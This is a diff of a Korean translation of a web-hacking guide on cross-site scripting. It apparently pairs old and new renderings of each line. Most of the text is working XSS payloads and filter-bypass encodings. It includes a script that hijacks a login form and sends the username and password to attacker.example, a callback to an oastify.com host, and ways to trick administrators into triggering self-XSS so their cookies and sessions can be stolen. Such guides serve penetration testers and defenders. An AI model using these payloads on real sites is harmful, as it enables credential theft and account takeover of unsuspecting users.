data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
**이러한 프로토콜을 주입할 수 있는 위치**
|
||||
**이 프로토콜을 주입할 수 있는 위치**
|
||||
|
||||
**일반적으로** `javascript:` 프로토콜은 **`href` 속성을 허용하는 모든 태그에서 사용할 수 있으며** 그리고 **대부분의** **`src` 속성을** 허용하는 태그에서도 사용 가능합니다 (단 `<img>`는 제외)
|
||||
**일반적으로** `javascript:` 프로토콜은 **`href` 속성을 허용하는 모든 태그에서 사용될 수 있으며** 그리고 **대부분**의 태그에서 **`src` 속성**을 허용하는 경우에도 사용될 수 있습니다 (단, `<img>`는 제외).
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -353,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**Other obfuscation tricks**
|
||||
**기타 obfuscation tricks**
|
||||
|
||||
_**이 경우 HTML encoding과 Unicode encoding 트릭은 이전 섹션에서 설명한 것처럼 attribute 내부에 있기 때문에 역시 유효합니다.**_
|
||||
_**이 경우 속성 내부에 있으므로 이전 섹션의 HTML encoding 및 Unicode encoding trick도 유효합니다.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
또한, 이러한 경우에 사용할 수 있는 또 다른 **유용한 요령**이 있다: **비록 `javascript:...` 안의 입력이 URL encoded 되어 있더라도, 실행되기 전에 URL decoded 된다.** 따라서, **single quote**을 사용해 **string**에서 **escape**해야 하고, 그것이 **URL encoded** 되고 있는 것을 본다면, **상관없다**, 그것은 **execution** 시간에 **single quote**로 **interpreted** 된다.
|
||||
게다가, 이런 경우를 위한 또 다른 **nice trick**이 있습니다: **Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.** 따라서 **string**에서 **single quote**로 **escape**해야 하고 그것이 **it's being URL encoded**된 것처럼 보여도, 기억하세요 — **it doesn't matter,** 실행 시에는 **single quote**로 **interpreted**됩니다.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
참고: 어떤 순서로든 `URLencode + HTMLencode`를 **둘 다 사용**하여 **payload**를 인코딩하려고 하면 **작동하지** **않습니다**, 하지만 **payload 내부에서 혼합할 수 있습니다**.
|
||||
참고로, `URLencode + HTMLencode`를 어떤 순서로든 **둘 다 사용**해 **payload**를 인코딩하려고 하면 **동작하지** **않습니다**, 하지만 **payload 내부에서는 섞어 사용할 수 있습니다**.
|
||||
|
||||
**Hex 및 Octal encode를 `javascript:`와 함께 사용**
|
||||
**`javascript:`와 함께 Hex 및 Octal encode 사용**
|
||||
|
||||
적어도 `iframe`의 `src` 속성 내부에서 **Hex** 및 **Octal encode**를 사용해 **HTML tags to execute JS**를 선언할 수 있습니다:
|
||||
적어도 `iframe`의 `src` 속성 안에서 **Hex** 및 **Octal encode**를 사용하여 **JS를 실행할 HTML 태그**를 선언할 수 있습니다:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -385,8 +385,7 @@ _**이 경우 HTML encoding과 Unicode encoding 트릭은 이전 섹션에서
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
If you can inject any URL in an arbitrary **`<a href=`** tag that contains the **`target="_blank" and rel="opener"`** attributes, check the **following page to exploit this behavior**:
|
||||
|
||||
임의의 **`<a href=`** 태그에 어떤 URL이든 주입할 수 있고 해당 태그가 **`target="_blank" and rel="opener"`** 속성을 포함한다면, 이 동작을 악용하는 방법은 다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -394,8 +393,8 @@ If you can inject any URL in an arbitrary **`<a href=`** tag that contains the *
|
||||
|
||||
### on 이벤트 핸들러 우회
|
||||
|
||||
먼저 이 페이지 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))를 확인하여 유용한 **"on" 이벤트 핸들러**를 살펴보세요.\
|
||||
만약 일부 블랙리스트 때문에 이러한 이벤트 핸들러를 생성하지 못한다면 다음 우회 방법들을 시도해볼 수 있습니다:
|
||||
먼저 유용한 **"on" 이벤트 핸들러**에 대해 이 페이지 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))를 확인하세요.\
|
||||
만약 블랙리스트가 이러한 이벤트 핸들러 생성을 막는 경우, 다음 우회 방법들을 시도해보세요:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -410,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### '공격 불가능한 태그' (hidden input, link, canonical, meta)에서의 XSS
|
||||
|
||||
다음 [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **hidden inputs를 이제 다음과 같이 악용할 수 있습니다:**
|
||||
다음 [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)에서 **이제 hidden inputs을 악용할 수 있습니다:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
그리고 **meta tags**:
|
||||
그리고 **메타 태그**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -431,15 +430,15 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
출처: [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): **XSS payload를 숨겨진 attribute 안에서** 실행할 수 있습니다. 단, **설득**해서 **victim**이 **key combination**을 누르도록 해야 합니다. Firefox Windows/Linux에서는 키 조합이 **ALT+SHIFT+X**이고 OS X에서는 **CTRL+ALT+X**입니다. access key attribute에서 다른 키를 사용하면 다른 key combination을 지정할 수 있습니다. 벡터는 다음과 같습니다:
|
||||
이 내용은 [**here**](https://portswigger.net/research/xss-in-hidden-input-fields)에서 발췌: 당신은 **XSS payload inside a hidden attribute**를 실행할 수 있습니다. 단 **설득**을 통해 **victim**이 **키 조합**을 누르도록 해야 합니다. Firefox Windows/Linux에서는 키 조합이 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. access key attribute의 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**XSS 페이로드는 대략 다음과 같습니다: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist Bypasses
|
||||
|
||||
이 섹션에서는 이미 다양한 인코딩을 사용한 트릭들이 소개되어 있습니다. 어디에서 사용할 수 있는지 **뒤로 가서 확인하세요:**
|
||||
이 섹션에서는 이미 여러 가지 인코딩을 이용한 트릭이 소개되었습니다. 어디에서 사용할 수 있는지 알아보려면 **뒤로 가세요:**
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
@ -447,25 +446,25 @@ onbeforetoggle="alert(2)" />
|
||||
- **Hex and Octal encoding**
|
||||
- **data encoding**
|
||||
|
||||
**HTML 태그 및 속성 우회**
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
이전 섹션의 [ Blacklist Bypasses of the previous section](#blacklist-bypasses)을 읽어보세요.
|
||||
읽어보세요: [ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
|
||||
**JavaScript 코드 우회**
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
다음 섹션의 JavaScript bypass blacklist를 읽어보세요: [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
읽어보세요: J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
웹의 아주 작은 부분에서 **XSS**를 발견했고 해당 취약점이 상호작용을 필요로 한다면(예: footer의 작은 링크에 onmouseover 요소가 있는 경우), 링크가 실행될 확률을 높이기 위해 해당 요소가 차지하는 공간을 **변경해 볼 수 있습니다**.
|
||||
웹의 아주 작은 부분에서 **XSS**를 발견했고 그 부분이 어떤 상호작용(예: footer에 있는 onmouseover 요소가 있는 작은 링크)을 필요로 한다면, 그 요소가 차지하는 영역을 변경하여 링크가 실행될 가능성을 최대화해 볼 수 있습니다.
|
||||
|
||||
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
하지만 WAF가 style 속성을 필터링한다면 CSS Styling Gadgets를 사용할 수 있습니다. 예를 들어 다음을 찾았다면
|
||||
하지만, WAF가 style 속성을 필터링하면 CSS Styling Gadgets를 사용할 수 있습니다. 예를 들어, 다음과 같은 CSS가 있다면
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
그리고
|
||||
and
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
@ -477,19 +476,19 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## Injecting inside JavaScript code
|
||||
|
||||
이 경우 사용자의 **input**은 `.js` 파일 내부의 JS 코드, `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 내부, 또는 `javascript:` 프로토콜을 허용하는 속성 안에 **반영(reflected)** 됩니다.
|
||||
이 경우 **input**은 `.js` 파일의 **JS 코드 내부**나 `<script>...</script>` 태그 사이, JS를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 안에 반영됩니다.
|
||||
|
||||
### \<script> 태그 탈출
|
||||
### Escaping \<script> tag
|
||||
|
||||
만약 코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내부에 삽입된다면, `</script>` 태그를 **닫아 탈출(escape)** 하는 것은 비교적 쉽습니다:
|
||||
코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내부에 삽입된다면, `</script>` 종료 태그를 쉽게 **escape**할 수 있습니다:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
이 예제에서는 **작은 따옴표를 닫지조차 않았습니다**. 이는 **HTML 파싱이 브라우저에 의해 먼저 수행되기 때문**으로, 여기에는 스크립트 블록을 포함한 페이지 요소 식별이 포함됩니다. 내장된 스크립트를 이해하고 실행하기 위한 JavaScript 파싱은 그 이후에야 수행됩니다.
|
||||
Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
|
||||
|
||||
### JS 코드 내부
|
||||
### Inside JS code
|
||||
|
||||
`<>`가 정화되는 경우에도 입력이 **위치한** 곳에서 여전히 **문자열을 이스케이프**하여 **임의의 JS를 실행**할 수 있습니다. 오류가 있으면 JS 코드가 실행되지 않으므로 **JS 문법을 수정하는 것**이 중요합니다:
|
||||
`<>`가 정화되고 있다면, 입력이 **위치한** 문자열을 여전히 **이스케이프**하여 **임의의 JS를 실행**할 수 있습니다. 오류가 있으면 JS 코드는 실행되지 않기 때문에 **JS 문법을 수정**하는 것이 중요합니다:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -497,25 +496,25 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
사용자 입력이 따옴표로 감싸인 JavaScript 문자열 내부에 들어갈 때(예: 서버 측에서 inline script로 echo하는 경우), 문자열을 종료시키고 코드를 주입한 뒤 구문을 유효하게 유지하도록 복구할 수 있습니다. 일반적인 골격:
|
||||
사용자 입력이 quoted JavaScript string 안에 들어갈 때(예: server-side echo가 inline script로 출력되는 경우), 문자열을 종료하고, 코드를 inject한 다음 구문을 복구해 파싱을 유효하게 유지할 수 있습니다. Generic skeleton:
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
<INJECTION> // attacker-controlled JS
|
||||
; a = " // repair and resume expected string/statement
|
||||
```
|
||||
취약한 파라미터가 JS string에 반영될 때의 예시 URL 패턴:
|
||||
취약한 파라미터가 JS 문자열로 반영될 때의 예시 URL 패턴:
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
이는 HTML context를 건드리지 않고도 공격자 JS를 실행합니다 (pure JS-in-JS). 필터가 키워드를 차단할 경우 아래의 blacklist bypasses와 결합하세요.
|
||||
이 기법은 HTML 컨텍스트를 건드릴 필요 없이 공격자 JS를 실행합니다 (순수 JS-in-JS). 필터가 키워드를 차단할 때 아래의 blacklist bypasses와 결합해 사용하세요.
|
||||
|
||||
### Template literals ``
|
||||
### 템플릿 리터럴 ``
|
||||
|
||||
문자열을 구성할 때, 작은따옴표와 큰따옴표 외에도 JS는 **backticks** **` `` `** 를 허용합니다. 이것은 template literals라고 하며 `${ ... }` 문법을 사용해 **embedded JS expressions**를 포함할 수 있게 해줍니다.\
|
||||
따라서 입력값이 백틱을 사용하는 JS 문자열 안에 **reflected** 되어 있다면, `${ ... }` 문법을 악용해 **arbitrary JS code**를 실행할 수 있습니다:
|
||||
단일 및 이중 따옴표 외에도 JS는 **strings**를 구성하기 위해 **backticks** **` `` `** 를 허용합니다. 이는 template literals로 알려져 있으며 `${ ... }` 구문을 사용해 **embedded JS expressions**를 허용합니다.\
|
||||
따라서 입력값이 backticks를 사용하는 JS 문자열 안에 **reflected** 되어 있다면, `${ ... }` 구문을 악용해 **arbitrary JS code**를 실행할 수 있습니다:
|
||||
|
||||
이는 다음과 같이 **abused** 할 수 있습니다:
|
||||
다음과 같이 **abused** 할 수 있습니다:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -534,14 +533,14 @@ loop``
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
#### Deliverable payloads와 eval(atob()) 및 scope의 뉘앙스
|
||||
#### Deliverable payloads with eval(atob()) 및 scope 뉘앙스
|
||||
|
||||
URLs를 더 짧게 유지하고 단순한 키워드 필터를 우회하기 위해, 실제 로직을 base64로 인코딩하고 `eval(atob('...'))`로 평가할 수 있다. 단순 키워드 필터가 `alert`, `eval`, `atob` 같은 식별자를 차단하면, 브라우저에서 동일하게 컴파일되지만 문자열 매칭 필터를 회피하는 유니코드 이스케이프된 식별자를 사용하라:
|
||||
URLs를 더 짧게 유지하고 단순한 키워드 필터를 우회하려면, 실제 로직을 base64-encode하여 `eval(atob('...'))`로 평가할 수 있습니다. 단순 키워드 필터가 `alert`, `eval`, `atob` 같은 식별자를 차단한다면, 브라우저에서 동일하게 컴파일되면서 문자열 매칭 필터를 회피하는 Unicode-escaped 식별자를 사용하세요:
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
중요한 스코프 관련 주의: `eval()` 내부에서 선언된 `const`/`let`은 블록 스코프이며 전역을 생성하지 않습니다; 이후 스크립트에서 접근할 수 없습니다. 필요할 때 global, non-rebindable hooks를 정의하려면 동적으로 주입한 `<script>` 요소를 사용하세요 (e.g., to hijack a form handler):
|
||||
중요한 스코프 관련 사항: `const`/`let`이 `eval()` 내부에서 선언되면 블록 스코프이며 globals를 생성하지 않습니다; 이후 스크립트에서 접근할 수 없습니다. 필요할 때(예: form handler를 가로채기 위해) 전역이며 재바인딩할 수 없는 훅을 정의하려면 동적으로 주입된 `<script>` 요소를 사용하세요:
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
@ -549,15 +548,15 @@ document.head.appendChild(s);
|
||||
```
|
||||
참고: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Unicode 인코딩 JS 실행
|
||||
### Unicode 인코딩을 통한 JS 실행
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### JavaScript 블랙리스트 우회 기법
|
||||
### JavaScript bypass blacklists 기법
|
||||
|
||||
**문자열**
|
||||
**Strings**
|
||||
```javascript
|
||||
"thisisastring"
|
||||
'thisisastrig'
|
||||
@ -593,7 +592,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript comments (출처:** [**JavaScript Comments**](#javascript-comments) **트릭)**
|
||||
**JavaScript comments (에서** [**JavaScript Comments**](#javascript-comments) **trick)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -601,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript new lines (출처:** [**JavaScript new line**](#javascript-new-lines) **트릭)**
|
||||
**JavaScript new lines (에서** [**JavaScript new line**](#javascript-new-lines) **트릭)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -637,7 +636,7 @@ console.log(log)
|
||||
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**괄호 없는 JavaScript**
|
||||
**괄호 없이 JavaScript**
|
||||
```javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
@ -778,45 +777,56 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
**JS code**가 **공격자가 제어하는 데이터를 안전하지 않게 사용하는** 경우가 있다(예: `location.href`). 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있다.\
|
||||
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
공격자가 제어하는 데이터(예: `location.href`)를 **안전하지 않게 사용하는 JS code**가 있습니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.\
|
||||
**설명의 분량이 늘어나서** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
그곳에서 **DOM vulnerabilities가 무엇인지, 어떻게 유발되는지, 그리고 어떻게 익스플로잇하는지에 대한 자세한 설명**을 찾을 수 있다.\
|
||||
또한, **언급한 게시물의 끝부분에** [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering)에 대한 설명이 있다는 것을 잊지 마라.
|
||||
그 페이지에는 **DOM vulnerabilities가 무엇인지, 어떻게 유발되는지, 그리고 어떻게 익스플로잇하는지에 대한 자세한 설명**이 있습니다.\
|
||||
또한, **언급한 글의 끝부분에** [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering)에 대한 설명이 있다는 것을 잊지 마세요.
|
||||
|
||||
### Upgrading Self-XSS
|
||||
### Self-XSS 업그레이드
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
페이로드를 쿠키 안에 넣어 보내서 XSS를 트리거할 수 있다면, 이는 보통 self-XSS이다. 그러나, **vulnerable subdomain to XSS**를 찾으면, 이 XSS를 악용해 도메인 전체에 쿠키를 주입하고 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것들)에서 cookie XSS를 트리거할 수 있다. 이를 위해 cookie tossing attack을 사용할 수 있다:
|
||||
만약 페이로드를 쿠키 안에 넣어 XSS를 트리거할 수 있다면, 이는 보통 self-XSS입니다. 하지만 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용해 도메인 전체에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것들)에서 cookie XSS를 발동시킬 수 있습니다. 이를 위해 cookie tossing attack을 사용할 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
이 기술의 훌륭한 악용 사례는 [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)에서 확인할 수 있습니다.
|
||||
|
||||
### Sending your session to the admin
|
||||
|
||||
사용자가 자신의 프로필을 관리자와 공유할 수 있고, self XSS가 해당 사용자의 프로필에 포함되어 있으며 관리자가 그 프로필에 접근하면, 관리자가 취약점을 트리거하게 된다.
|
||||
사용자가 자신의 프로필을 admin과 공유할 수 있고, 그 프로필에 self XSS가 포함되어 있으며 admin이 접근하면 취약점이 트리거될 수 있습니다.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
self XSS를 발견했고 웹페이지가 **session mirroring for administrators**를 제공하는 경우(예: 클라이언트가 도움을 요청하면 관리자가 당신의 세션에서 보는 내용을 자신의 세션에서 볼 수 있게 하는 기능), 관리자가 당신을 도와주려 접근하면 당신의 취약점이 트리거될 수 있다.
|
||||
self XSS를 발견했고 웹 페이지가 **관리자를 위한 session mirroring**을 제공한다면(예: 고객이 도움을 요청하면 admin이 고객의 세션을 자신의 세션에서 볼 수 있도록 하는 경우), admin은 당신이 보고 있는 내용을 자신의 세션으로 보게 됩니다.
|
||||
|
||||
당신은 **administrator trigger your self XSS**를 유도하여 그의 cookies/session을 탈취할 수 있다.
|
||||
이렇게 해서 **administrator가 당신의 self XSS를 트리거하게** 만들고 그의 쿠키/세션을 훔칠 수 있습니다.
|
||||
|
||||
## Other Bypasses
|
||||
|
||||
### Bypassing sanitization via WASM linear-memory template overwrite
|
||||
|
||||
Emscripten/WASM를 사용하는 웹 앱에서는 상수 문자열(예: HTML 형식 스텁)이 쓰기 가능한 linear memory에 저장됩니다. 단일 in‑WASM 오버플로우(예: 편집 경로에서의 unchecked memcpy)는 인접 구조를 손상시키고 이러한 상수로의 쓰기를 리다이렉트할 수 있습니다. 템플릿 "<article><p>%.*s</p></article>"을 "<img src=1 onerror=%.*s>"로 덮어쓰면, 정화된 입력이 JavaScript 핸들러 값으로 바뀌어 렌더링 시 즉시 DOM XSS를 유발합니다.
|
||||
|
||||
다음 전용 페이지에서 익스플로잇 워크플로우, DevTools memory helpers, 방어 기법을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
wasm-linear-memory-template-overwrite-xss.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Normalised Unicode
|
||||
|
||||
서버(또는 클라이언트 측)에서 **reflected values**가 **unicode normalized**되고 있는지 확인하고 이 기능을 악용해 보호를 우회할 수 있다. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
서버(또는 클라이언트 측)에서 **reflected values**가 **unicode normalized**되는지 확인하고, 이 기능을 악용해 보호 장치를 우회할 수 있습니다. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -824,8 +834,8 @@ self XSS를 발견했고 웹페이지가 **session mirroring for administrators*
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
**RoR mass assignment** 때문에 HTML에 따옴표가 삽입되어 따옴표 제한을 우회하고 태그 내부에 추가 필드(onfocus)를 넣을 수 있습니다.\
|
||||
폼 예시 ([from this report](https://hackerone.com/reports/709336)), 페이로드를 전송하면:
|
||||
**RoR mass assignment** 때문에 따옴표가 HTML에 삽입되고, 그 결과 따옴표 제한이 우회되어 태그 안에 추가 필드(onfocus)를 넣을 수 있습니다.\
|
||||
폼 예시 ([from this report](https://hackerone.com/reports/709336)), payload를 전송하면:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
@ -833,9 +843,9 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
그런 다음 onfocus 속성이 삽입되어 XSS가 발생합니다.
|
||||
그러면 onfocus 속성이 삽입되고 XSS가 발생합니다.
|
||||
|
||||
### Special combinations
|
||||
### 특수 조합
|
||||
```html
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
@ -867,22 +877,22 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
만약 **302 Redirect response**에서 헤더를 **inject**할 수 있다면, 브라우저가 임의의 JavaScript를 **실행하도록 시도**해볼 수 있습니다. 이는 **간단하지 않으며**, 현대 브라우저는 HTTP 응답 상태 코드가 302일 때 응답 본문을 해석하지 않기 때문에 단순한 cross-site scripting 페이로드는 무용지물입니다.
|
||||
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
|
||||
|
||||
[**this report**](https://www.gremwell.com/firefox-xss-302)와 [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서는 Location 헤더 안에 여러 프로토콜을 넣어 브라우저가 본문 안의 XSS 페이로드를 검사하고 실행할 수 있는지 테스트하는 방법을 설명합니다.\
|
||||
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
|
||||
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
|
||||
만약 javascript가 실행할 **callback**을 문자, 숫자, 점으로만 제한해서 지정할 수 있다면, 이 동작을 악용하는 방법을 알아보려면 [**이 글의 해당 섹션**](#javascript-function)을 읽어보세요.
|
||||
If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) to find how to abuse this behaviour.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 만약 `application/octet-stream` 같은 **content-type**으로 스크립트를 로드하려 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Chrome이 **loaded script**를 실행하도록 허용하는 유효한 유일한 **Content-Type**들은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에 있는 const **`kSupportedJavascriptTypes`** 안에 정의된 것들입니다.
|
||||
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -904,16 +914,14 @@ const char* const kSupportedJavascriptTypes[] = {
